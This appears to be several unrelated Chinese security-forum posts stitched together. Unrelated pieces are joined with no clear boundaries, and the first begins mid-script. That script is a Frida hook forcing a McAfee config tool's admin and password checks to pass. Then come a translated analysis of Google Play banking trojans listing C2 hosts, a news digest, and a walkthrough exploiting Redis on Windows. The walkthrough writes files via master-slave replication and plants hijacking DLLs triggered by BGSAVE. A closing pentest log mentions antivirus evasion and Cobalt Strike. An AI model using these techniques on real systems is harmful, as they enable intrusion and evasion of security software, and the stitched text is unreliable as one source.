Interceptor.attach(adminCheck, {
onEnter: function (args) {
console.log('[+] Hooked admin check function');
},
onLeave: function (retval) {
console.log('[+] Returning true for admin check');
retval.replace(1);
}
});
Interceptor.attach(BLInvokeMethod, {
onEnter: function (args) {
console.log('[+] Hooked BLInvokeMethod function');
},
onLeave: function (retval) {
console.log('[+] Patching password check function');
retval.replace(0x0);
}
});
"""
return script
def main():
args = [
'ESConfigTool.exe',
'/export',
'c:\\tem\\ESP.xml',
'/module',
'TP',
'/unlock',
'starwars',
# This may fail sometimes, not sure why
#'/plaintext'
]
devmgr = frida.get_device_manager()
devmgr.add_remote_device('127.0.0.1')
rdev = frida.get_device('[email protected]')
pid = rdev.spawn(args)
session = rdev.attach(pid)
session.create_script(get_script()).load()
rdev.resume(pid)
input()
if __name__ == '__main__':
main() | 社区文章 |
# 【木马分析】针对借助Google Play传播的复杂银行木马家族的分析
|
##### 译文声明
本文是翻译文章，文章来源：securify.nl
原文地址：<https://securify.nl/blog/SFY20170502/sophisticated_google_play_bankbot_trojan_campaigns.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
2015至2016年期间，针对Android平台的银行木马所使用的传播渠道很少涉及Google
Play商店，它们使用的传播渠道包括短信、钓鱼邮件以及流氓网站，通常会借助Adobe Flash Player来释放恶意APK文件。
借助Google
Play传播的银行类恶意软件的侧重点与我们之前分析过的其他恶意软件有所不同。通常情况下，Android银行类恶意软件会使用高评分的应用名以及应用图标（类似“超级玛丽跑跑跑”、“Flash
Player”或者“WhatsApp”）进行传播，以达到说服、诱骗用户安装应用的目的。然而Google
Play上恶意软件的方法有所不同：它们所做的一切都是为了获取用户的信任。它们甚至会构造一个虚假的Facebook账户，伪装成一个真实的公司，以提高攻击过程的成功率。安装完毕后，恶意应用并没有立刻露出庐山真面目，而是等待若干分钟后才开展恶意互动，以便用户能够先使用这些应用来观看有趣的视频或者收看热点新闻。
了解了这两类恶意软件在操作方式上最大的不同后，我们不禁想问一个问题：Google Play上的银行木马究竟是如何运作的？
**二、2017年1月-3月**
在2017年1月，我们负责Android平台上银行类恶意软件态势收集及应急响应的团队（@SfyLabs）发现有大批应用正在测试通过Google
Play传播Android银行木马的新方法。彼时，我们并没有对Google
Play上的这类银行木马的规模有清晰的了解，我们的兴趣点在于这类木马使用了新的攻击技术。这类木马使用这种新型的攻击技术，通过恶意软件下载器传播经过修改的银行木马。
我们首先注意到的一点就是这类木马请求的权限比较少。通常情况下，Android银行木马会向用户请求许多权限，比如短信读取权限、短信发送权限、悬浮窗口以及设备管理员权限等。然而，这版本的银行木马只请求很少的权限，如下所示：
反病毒软件以及Google
Bouncer通常会将Android权限作为一个重要的参考标准。这种使用较低权限下载器的新型攻击技术看起来效果不错，因为大多数下载器都可以被成功上传到Google
Play应用商店中，并且能够长时间躲避反病毒厂商的扫描探测。事实上，当时VirusTotal的扫描结果为0/61（即安全文件）。请参考完整的报告了解更多信息。
除了使用新型的攻击技术，我们还注意到攻击者创建了一个Facebook页面，引诱用户从Google Play商店中下载名为“Real Funny
Videos”的银行木马下载器。
**2.1 下载器的技术分析**
银行木马下载器请求的权限数非常少，因为下载器的主要目的是诱导用户启用“未知源”应用安装选项，从命令与控制（Command &
Control，C2）服务器上下载真正的木马应用到存储卡中，然后再安装真正的木马。真正的木马会请求更多的权限，以便拥有短信转发及窗口覆盖功能。根据用户的具体操作，下载器可能的工作路径如下所示：
**2.2 对禁用未知源选项用户的社工方法（install_non_market_apps）**
**2.3 从SD卡中安装真正的银行木马，并向用户呈现安装界面**
**2.4 已分析的下载器样本**
我们已对如下样本进行了分析，访问[此处](https://koodous.com/apks?search=url:chins.php)以获取更多信息。
**2.5 下载器所使用的C2服务器**
所涉及的C2服务器地址如下：
hxxp://antishop.co.uk (add.php chins.php live.php)
hxxp://donabak.co.uk
hxxp://amitvyservice.co.uk/
hxxp://ekboshop.co.uk
hxxp://typeclothes.co.uk
hxxp://gelstore.co.uk
185.153.198.52
212.38.166.48 (主要地址，托管注册了166个co.uk网站)
银行木马下载器所使用的某个域名为antishop.co.uk，其IP地址与另一个（正在活跃）的Google
Play恶意软件族群有关（185.153.198.52以及77.72.82.120），该恶意软件族群使用了新的攻击手法。
**三、2017年3月份正在活跃的银行木马**
Google
Play上第二个银行木马族群使用了具备较高权限的Android应用，这一点与其他Android银行类恶意软件家族类似（都具备短信、设备管理员以及窗口覆盖权限）。值得注意的是，这个木马族群在应用混淆处理上有所改进，这意味着这类应用的作者比其他组织对恶意软件的技术理解更深，花了一些时间和精力来购买并集成DexProtector。
与第一个木马族群类似的是，这个木马族群同样使用了新闻热点、有趣视频网站以及包含co.uk域名的C2服务器来模拟正常应用的行为。无需赘言，有趣视频或新闻应用并不需要短信发送权限以及设备管理员权限。本文的关注点侧重于恶意软件族群本身，而非恶意软件的技术细节。如果读者想了解更多的技术细节，可以参考我们之前发表的另一篇[博客](https://www.securify.nl/blog/SFY20170401/banking_malware_in_google_play_targeting_many_new_apps.html)。
下图简单概述了已成功上传到Google Play商店中的银行木马应用。
**3.1 2017年3月份**
在3月底，我们的威胁和态势团队注意到了某些恶意软件。我们检测到了其中2个C2服务器，这两个地址指向恶意软件的主服务器。
**3.2 2017年4月份**
4月份时，我们发现Google
Play商店中存在多个银行木马应用，这些应用都包含恶意软件，都使用类似的技术来隐匿恶意行为，如流行的新闻热点、有趣的视频网站以及使用DexProtector进行混淆。
**3.3 所涉及的样本**
读者可以参考[此链接](https://koodous.com/apks?search=network.hosts:77.72.82.120)了解我们在调查过程中使用的样本。
**3.4 AppsFlyer跟踪API**
在我们对Google
Play上的所有的恶银行木马进行调查研究时，我们发现攻击者使用了[AppsFlyer](https://www.appsflyer.com/)跟踪服务来监控受害者与恶意应用的交互情况。对于在线银行应用来说，攻击者可以借助跟踪器捕获转瞬即逝的攻击机会（特别是当这类应用使用短信传输一次性密码（OTP）时）。这再一次表明，Google
Play上正在活跃的这个恶意软件族群的攻击方式非常复杂，囊括了全球420个金融机构。
POST /api/v4/androidevent?buildnumber=5.0&app_id=com.taqpiovc.fastnews HTTP/1.1
Content-Length: 990
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; Nexus 5X Build/MHC19Q)
Host: t.appsflyer.com
Connection: close
{"device":"bullhead","firstLaunchDate":"2017-05-22_1537+0200","installDate":"2017-05-22_1529+0200","sdk":"23","carrier":"","deviceFingerPrintId":"ffffffff-fd00-8614-ffff-ffff95f675b2","date1":"2017-05-22_1529+0200","af_preinstalled":"false","advertiserIdEnabled":"true","iaecounter":"0","lang_code":"nl","appsflyerKey":"7uAjUfGFwcwmgBUqjR7qPL","imei":"","app_version_name":"1.1","lang":"","timepassedsincelastlaunch":"65","dkh":"7uAjUfGF","android_id":"399344ae6f8392ad","advertiserId":"bc2701fa-8a8a-42e6-9807-e81a96493a54","isGaidWithGps":"true","deviceType":"user","af_v":"3a66dd2928161f130749c9ddd1910ac1ad6ae65b","app_version_code":"2","af_events_api":"1","platformextension":"android_native","network":"","operator":"","country":"","date2":"2017-05-22_1529+0200","brand":"google","af_timestamp":"1495460337621","uid":"1495459746957-8608874634971246520","isFirstCall":"false","counter":"2","model":"","product":"bullhead"}
**3.5 C2服务器统计：allbigstore.co.uk**
我们通过恶意软件的某个C2服务器获取了这类银行木马族群的统计信息，不幸的是，尽管我们竭尽全力，对这类木马族群发出了警告及关闭通知，然而它们仍处于活跃状态。恶意软件的攻击目标覆盖了超过420个安卓银行应用，正如我们之前的一篇[博文](https://www.securify.nl/blog/SFY20170401/banking_malware_in_google_play_targeting_many_new_apps.html)所描述的那样。在2017年5月26日，这个僵尸网络共包含5499个不同的僵尸节点，在本文撰写时总共夺取了276个银行凭证信息。
**四、总结**
我们的调查表明，攻击者在将恶意应用伪装成正常应用上做了很多工作，包括使用了合法的趣味视频、新闻站点，同时在应用首次启动时并不会马上开展恶意活动。这种技术在最近5个月内成功骗过了Google的自动化内部恶意软件检测引擎[Bouncer](https://en.wikipedia.org/wiki/Google_Play#Application_security)，我们有充足的证据表明攻击者还没有停止恶意行为。借助Google
Play成功传播恶意软件族群，攻击者可以试验多种新型攻击向量，比如非特权的银行木马下载器应用、商用混淆工具（[DexProtector](https://dexprotector.com/)）、用户及应用（也就是僵尸节点）跟踪软件（如[Appflyer](https://www.appsflyer.com/)）等。自上传到Google
Play商店后，没过几天这些恶意银行木马应用的传播次数就变得极其庞大，鉴于这种现象，我们认为这些新型技术在应用上取得了极大的成功。仅仅从某个C2服务器上，我们的态势团队（@SfyLabs）就捕获到了276个已被窃取的银行凭证，这表明此类银行木马的攻击成功率非常高，并且大多数银行机构（包括Paypal在内）对它们的Android应用被恶意软件族群感染并不知情，因为许多C2服务器并没有被关闭。
无论用户从哪种来源获取应用，他们都应该好好检查应用所请求的权限。虽然这并不能保证应用是合法的（比如从前文可知非特权银行木马下载器可以只请求部分权限），但关注应用请求的权限总不是件坏事。此外，用户应该对“覆盖型钓鱼登录界面”有所警觉，银行木马通常会用户展示这类登录界面。如果你发现你已经安装了本文提到过的某些恶意应用，你可以考虑恢复手机的出厂设置，并且与你的银行联系沟通。
5月30日，我们在[Koodous](http://blog.koodous.com/2017/05/bankbot-on-google-play.html)任职的某位小伙伴同样发现了另一个使用相同技术（即使用视频的银行木马下载器）的恶意应用。虽然我们没有证据表明新发现的这个恶意应用与本文描述的恶意应用存在什么联系（特别是这两者的后端服务器有所不同），但我们可以得出结论，那就是通过Google
Play商店传播的Android银行木马远远还没有结束。 | 社区文章 |
# 1月21日安全热点 - 美国全球监督法案签署/幽灵安全更新
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 资讯类
红帽公司公布了幽灵（CVE-2017-5715）安全更新
<http://securityaffairs.co/wordpress/67984/hacking/red-hat-cve-2017-5715-updates.html>
美国全球监督法案已经由特朗普总统签署
<http://securityaffairs.co/wordpress/67971/digital-id/section-702-bill-signed.html>
意大利公司和内政部受到攻击，专家发现了一个巨大的僵尸网络
对意大利财政生态系统有着深入了解的威胁主体正在利用巨大的僵尸网络来攻击意大利公司和内政部。
<http://securityaffairs.co/wordpress/67997/cyber-crime/botnet-attacking-italian-firms.html>
## 技术类
谈谈Metasploit框架中的Payload
<https://www.gironsec.com/blog/2018/01/expiring-payloads-in-the-metasploit-framework/>
shell 命令教程 教你如何处理文本并过滤输出想要的结果
<http://www.hexacorn.com/blog/2018/01/20/what-can-you-do-with-250k-sandbox-reports>
TrustZone代码执行漏洞
<https://www.reddit.com/r/SwitchHacks/comments/7rq0cu/jamais_vu_a_100_trustzone_code_execution_exploit/>
RTF钓鱼
<http://bobao.360.cn/snapshot/index?id=286324>
泄露Apple预购客户的PII
<https://not.the.sameorig.in/idor-in-courier-leads-to-full-disclosure-of-all-uk-iphone-x-pre-order-names-and-addresses/>
PostgreSQL 10
<https://joaodlf.com/postgresql-10-partitions-of-partitions.html>
NSA语音识别系统
<https://theintercept.com/2018/01/19/voice-recognition-technology-nsa/> | 社区文章 |
# Redis on Windows 出网利用探索
> Exploiting Redis on Windows with Outbound Internet Access
## 前言
DLL劫持相关技术已经存在很久了，现在依然可以运用到权限维持和一些木马、外挂、钓鱼上。关于本文叙述的也是基于DLL劫持的方法，关于这个姿势，相信有不少师傅肯定都知道，只是出于某种原因还未公布而已，或者我没有搜索到。
本文主要讲 Redis on Windows 本身的DLL劫持利用。
前段时间因为上碰到 Redis on windows 的情况，所以就查了查资料看看最近网上有没有公布新的方法。
关于 `Hunter`师傅在XZ总结的 [踩坑记录-Redis(Windows)的getshell](https://xz.aliyun.com/t/7940) 文章中。
可以看出来大概的方法有：
* 写 Webshell
* Startup
* 篡改&劫持
* mof
* 等
关于文中所说的DLL劫持被动等待上线这个问题，应该可以在这篇文章中解决。
有师傅可能会想，不是有主从复制RCE的姿势嘛？需要这么麻烦吗？
是因为主从复制后的 关键功能 `MODULE LOAD` 在4.0.0 之后开始支持，而我从github上找到的Windows版本最新也仅为:
## 过程
### 目标环境
`OS:` Windows Server 2012
`Redis:` 3.2.100
`Role:` Administrator
`Port:` 80,3389,6379
接下去我会讲讲整个发现过程。
### 常规套路
首先我看到了`80`端口,这应该是个好信号，因为说不定就可以直接写Webshell，并且还是IIS。那么根据IIS默认安装，发布目录应该是在`C:\inetpub\wwwroot`下。
通过常规操作，dbfilename 写文件，的确可以正常将asp写进去，但是因为 Windows Server 2012
安装IIS的时候，并不会主动帮助你勾选 ASP / ASP.NET 运行环境，所以即使能写ASP马，也不能解析。
### 3389 旁路攻击
`RDP` 看起来似乎除了暴破，没什么更好的方法。
如果存在 `CVE-2019-0708`,你也可以选择使用 `0708 Bluekeep` 把主机打重启使之运行启动项中的恶意文件（这是非常不好的做法）。
那么之前的文献中也提到过DLL劫持的方法，所以看看RDP在连接过程中会不会存在DLL劫持了？
本着试试的心态，我搭建了相同的环境,使用`Procmon`进行分析。
> 多说一句，如果遇到以下错误，可以下载 [KB3033929](https://www.microsoft.com/en-> us/download/confirmation.aspx?id=46148)进行安装。
>
>
为了保险起见，我们设置比较宽松的 Filter,只显示 Path end with为 dll的结果。
在发起RDP连接的过程中，我的确发现了 在 `Windows Server 2012` 中存在 mstlsapi DLL NAME NOT FOUND
的结果。
为什么说是 2012？因为后来我测试了 Windows Server 2008 / Windows 7 / Windows Server 2003
都没有出现这样结果，但不管怎么样，对于当前环境的确可以试试。
关于 mstlsapi.dll 的详细描述，我并没有找到多少，在之前文献中 [
Cyber Security Awareness Month - Day 9 - Port 3389/tcp
(RDP)](https://isc.sans.edu/forums/diary/Cyber+Security+Awareness+Month+Day+9+Port+3389tcp+RDP/7303/)
有提到：
> by default the certificate used for encryption is signed by an RSA private
> key, which is then stored statically in the file mstlsapi.dll
另外在之前漏洞记录中也存在过一些关于 `MITM-attacks`的漏洞，根据一些描述猜测应该是许可授权相关的dll。
其实对于劫持利用来说，我们这里也不必一定要了解这个dll的来龙去脉。因为关于DLL 劫持的相关利用，网上已经有很多成熟利用的文章了。
### 劫持利用
劫持的方式也有很多，之前试过BDF DLL注入，考虑到x64 dll还存在较多问题，所以为了快速达到效果，这里我们使用 kiwings师傅所改的
[DLLHijacker](https://github.com/kiwings/DLLHijacker)
帮助我们生成劫持DLL后的工程项目，以便我们可以自由的修改`Shellcode`劫持该DLL,此方法利用函数转发完成，不会破坏原有功能（在测试中发现如果转发失败会直接导致无法关机等各种情况），缺点就是他需要原DLL也同时存在操作系统上。
> 图来自 <https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/>
>
>
在使用过程中，原本脚本生成后VS中有乱码问题，所以改一下，我们最好将文件以 `wb` 模式存储。
至于原DLL文件,操作系统上并没有，但可以在网上很多地方下载或者在存在此dll文件的操作系统上 COPY 过来，建议选择可信来源。
> python3 DLLHijacker.py mstlsapi.dll
[!]Find export function :[106]
78 EnumerateAllLicenseServers
5 EnumerateTlsServer
27 FindEnterpriseServer
28 GetAllEnterpriseServers
49 GetLicenseServersFromReg
.....
41 TLSUpgradeLicenseEx
[+] Generating VS2019 Project for DLLHijacker in folder: C:\Users\g\Desktop\xzdemo\mstlsapi
successfully generated a DLLHijack Project of mstlsapi
脚本会帮助我们转发所有的导出函数，你可以使用 `CFF Explorer` 进一步确认.
打开项目基本不需要做什么改动，做实验可以使用默认的 `Calc shellcode`即可。
唯一需要做的就是指定一下原dll的绝对路径，这个路径将是我们等会利用主从复制写文件原始DLL存放路径。
接下去利用 [RedisWriteFile](https://github.com/r35tart/RedisWriteFile)
写文件即可，先将`mstlsapi.dll` 放入指定路径。
python3 RedisWriteFile.py --rhost=192.168.56.140 --rport=6379 --lhost=192.168.56.1 --rpath="C:\Users\Public\Downloads" --rfile="mstlsapi.dll" --lfile="/tmp/mstlsapi.dll"
确保文件无损写入。
❯ md5 /tmp/mstlsapi.dll
MD5 (/tmp/mstlsapi.dll) = 99cbcb346f7d2473bde579fbbe979981
PS C:\Users\Public\Downloads> Get-FileHash .\mstlsapi.dll -Algorithm MD5
Algorithm Hash
--------- ---- MD5 99CBCB346F7D2473BDE579FBBE979981
因为 redis 是 `Administrator` 启动的，所以我们可以写入劫持文件到 `C:\Windows`
python3 RedisWriteFile.py --rhost=192.168.56.140 --rport=6379 --lhost=192.168.56.1 --rpath="C:\Windows" --rfile="mstlsapi.dll" --lfile="/tmp/mstlsapiJ.dll"
这里需要注意，因为连接是调用是 `NETWORK SERVICE` 权限的svchost 所以 `calc` 并不会在当前用户桌面弹出。
接下去连接，发现的确触发了计算器的调用。
从调用情况，可以看出 `C:\Windows\mstlsapi.dll` 是加载成功了。
>
> 这里需要注意，在这个场景中当`LoadLibrary`完正常dll后，需要在Hijack函数后做一次`FreeLibrary`的操作，不然就会出现只能利用一次的情况，因为我们这里是通过DLLMain函数进入然后再最后转发完所有函数进行劫持，
> 而当前DLL
> 一旦被宿主进程加载之后，就会保持在内存中，将DLL引入进程空间，随后的重复调用不会再次进入DLLMain，而只是增加`引用计数`,这样就导致不会触发到我们的Hijack函数，有些情况原函数内部会帮助我们Free。
工程中的 Shellcode
加载方式是创建新的进程然后加载，可能并不会有好的免杀效果，这是只是想提，作者之所以选择创建新的进程是因为这里不能让原本转发阻塞，否则整个DLL加载将会失败。自己在测试的时候不建议直接使用单纯的shellcode加载,比如常见的:
memcpy(p, shellcode, sizeof(shellcode));
CODE code = (CODE)p;
code();
也需要使用类似创建进程或者注入进程的方式来操作，不要让DLL加载卡住。
### 低权限 场景直接触发
借助其他服务来进行利用，相对来说还是比较被动，所以后续我主要去关注了redis本身，会不会在某些情况存在Dll劫持的问题。还有一点，高权限启动redis的情况有，但是最好还是能在低权限下能做一些事情。
所以我将环境默认安装，`Redis Service`会开机自启，权限为`Network Service`。
那么单纯的 Redis shell 能做的并不多，我们可以尝试使用一些命令来观察执行过程。
命令比较多，所以我们主要关注 Server端的指令。
在测试的过程中，我发现在使用 SYNC 命令时，发生了DLL 劫持的特征。
可以发现，不止出现了一个DLL 未找到。
放宽限制我们来细看一下。
这里可以发现系统其实还去查询了 SafeDllSearchMode key值，但是因为从 Windows
7之后就采用KnownDLLs机制所以提示这个键值也是找不到的，但是并不影响DLL查找顺序。
1. 进程对应的应用程序所在目录（可理解为程序安装目录比如`C:\ProgramFile\xxx`）；
2. 系统目录（即`%windir%system32`）；
3. 16位系统目录（即`%windir%system`）；
4. Windows目录（即`%windir%`）；
5. 当前目录（运行的某个文件所在目录，比如`C:\Documents and Settings\Administrator\Desktop\xxx`)
6. PATH环境变量中的各个目录；
所以根据规则，`dbghelp.dll` 不在 `KnownDLLs List`
中，会先从安装目录下搜索，即使System32下已经存在了`dbghelp.dll`。
另外一个很幸运的事情是，默认的安装目录， `Network Service` 用户是拥有完全控制权限的。
在利用的时候安装目录如何得知了？其实通过 info 就可以看到。
因为权限问题，这里我们就不考虑 `symsrv.dll` ,因为他是需要在 System32 目录下进行劫持，接下去我们来看看 SYNC 命令。
熟悉主从复制的同学对 SYNC 命令并不会陌生，它主要是让从服务器同步 Master的数据，在2.8版本之后加入PSYNC
为了代替SYNC，场景是为了解决断线重连之后的全量复制低效的缺陷，同样PYSNC也是会产生`NAME NOT FOUNT`。
> 图来自 <https://juejin.im/post/6844903943764443149#heading-1>
>
>
从同步流程图可以看出来，slaveof host port 命令之后，其实就会去直接执行
sync的操作，并且SYNC之后还会开始执行BGSAVE的指令，并会fork一个子进程，然后创建RDB文件（一个压缩过的二进制文件，可以通过该文件还原快照时的数据库状态）进行持久化。
于是我尝试直接执行 `BGSAVE` 命令，发现也是直接触发了`NAME NOT FOUNT`。
后来发现与之相关的 `BGREWRITEAOF`
命令也会有同样的效果，其实可能还会有更多的命令会有这种效果，但并没有全部测试。有了刚才利用3389进行劫持的基础，现在来利用这个应该就比较简单了。
### 再次利用
1. 通过 DLLHijacker.py 生成sln 项目，并修改原DLL地址，这里直接引用 System32 下的dbghelp.dll，就不需要再传一个了。
2. 将修改后劫持的DLL，通过主从复制传入 `C:\Program Files\Redis`。
3. 连接redis, 执行bgsave。
可以看到执行了两次，并产生两个 calc 进程，这样就不需要被动等待DLL劫持带来的效果啦。
在重启服务后，会自动加载此DLL，自动伴随持久化效果。
文件已被加载，无法直接删除。
### 总结&防御
* 另外关于 Redis DLL劫持这个利用点，可能还有利用一些 Windows 周期性自动运行的服务引发的DLL劫持，也可以作为利用的点，比如 wmiprvse、searchindexer等等吧，具体也没研究，听铁师傅说起过。
* 此利用还是依赖于写主从无损文件，所以内网利用可能问题不大，公网利用还是需要目标有出网的能力。
* 还需注意的是，不同操作系统版本的 `dbghelp.dll` 存在差异，在制作的时候，最好使用相同版本的dll进行劫持。
测试情况：
* [x] Windows Server 2012 / Redis 3.2.100
* [x] Windows 7 / Redis 3.0.504
* [x] Windows Server 2008 / Redis 2.8.2103
其他版本还需要自行测试。
如果自己写的程序也存在此类问题？防御方面很多文章也写了，这里就直接引用一下吧。
> * 在加载 DLL 时尽量使用 DLL 的绝对路径
> * 调用 SetDllDirectory(L"") 把 当前目录 从 DLL 搜索目录中排除
> * 使用 LoadLibraryEx 加载 DLL 时，指定 LOAD_LIBRARY _SEARCH_ 系列标志
> * 可以尝试去验证 DLL 的合法性，例如是否具有自家的合法数字签名、是否是合法的系统 DLL 文件等
>
最近事情比较多，断断续续写了写，不是什么好文，也可能有比较多错误，还望指正,感谢@CoColi的帮助。
## 补充
忘记说了一点就是关于主从复制清空数据的问题，后来得知 jkme 师傅[文章中](https://jkme.github.io/redis-on-windows-dll-hijack.html)最后使用到的 redis-dump-go，可以一定程度解决这个问题。
## Reference
<https://redis.io/>
<https://juejin.im/post/6844903943764443149>
<https://juejin.im/post/6844903939339452430>
<https://juejin.im/post/6844903572711161863>
<https://github.com/kiwings/DLLHijacker>
<https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/>
<https://jkme.github.io/redis-on-windows-dll-hijack.html> | 社区文章 |
**前情回顾**
https://xz.aliyun.com/t/8425
https://xz.aliyun.com/t/8475
**继续努力**
上次搞到内网一台xp机器，在域内
这台可以出网
ipconfig /all
**寻找域控**
Dns服务器一般就是域控吧 192.168.1.182
net group "Domain Admins" /domain
执行命令是成功了 这乱码了 能看清个鬼啊
查看一下进程
**绕过杀软**
通过进程比对 有杀软Mcafee
简单做一下免杀
**远控**
能出网直接上cs
**回顾**
完结，基本就这样了，并没有拿下所有的机器，有时间再看看吧 | 社区文章 |
Subsets and Splits